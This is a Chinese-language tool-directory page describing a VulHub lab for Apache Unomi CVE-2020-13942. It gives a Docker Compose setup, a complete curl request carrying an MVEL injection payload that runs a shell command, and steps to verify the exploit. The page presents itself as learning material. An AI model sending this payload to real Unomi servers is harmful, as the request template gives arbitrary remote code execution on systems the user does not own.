Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-13942byVulHub — 逐步搭建实验环境并利用 Apache Unomi CVE-2020-13942 漏洞,演示 MVEL 表达式语言注入导致的远程代码执行。 | Kitploit
工具/GitHubGitHub/corsisechero/cve-2020-13942byvulhub
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubcorsisechero/cve-2020-13942byvulhub

CVE-2020-13942byVulHub

逐步搭建实验环境并利用 Apache Unomi CVE-2020-13942 漏洞,演示 MVEL 表达式语言注入导致的远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
11年前尚未审核
分享

CVE-2020-13942byVulHub


Apache Unomi 表达式语言注入 RCE (CVE-2020-13942)

描述

该漏洞允许在运行 Apache Unomi 1.5.1 版本的系统上,通过利用 MVEL 表达式语言注入来执行任意命令。

项目页面

GitHub - Vulhub - Unomi CVE-2020-13942


环境配置

Docker Compose 文件 (docker-compose.yml)

root@kitploit:~
version: '2'
services:
  web:
    image: vulhub/unomi:1.5.1
    ports:
      - "9443:9443"
      - "8181:8181"
    environment:
      - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
    depends_on:
      - elasticsearch
  elasticsearch:
    image: elasticsearch:7.9.3
    environment:
      - cluster.name=contextElasticSearch
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - bootstrap.memory_lock=true

启动容器

使用以下命令启动容器:

root@kitploit:~
docker compose up -d

执行 Exploit

在 Kali 上执行的命令

使用 curl 发送以下 POST 请求:

root@kitploit:~
curl -X POST http://localhost:8181/context.json \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Accept: */*" \
     -H "Accept-Language: en" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
     -H "Connection: close" \
     -H "Content-Type: application/json" \
     -d '{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}'

验证 Exploit

访问容器

进入容器以验证文件是否创建:

root@kitploit:~
docker exec -it af7de05fc47e ls /tmp

检查结果

检查是否存在 pluto 文件夹:

root@kitploit:~
hsperfdata_root  pluto

如果存在 pluto 文件,则说明 exploit 成功。


安全注意事项

该漏洞允许执行任意命令。请仅在受控环境中出于学习或验证目的使用这些测试。在未经授权的环境中利用漏洞是违法的。

下载工具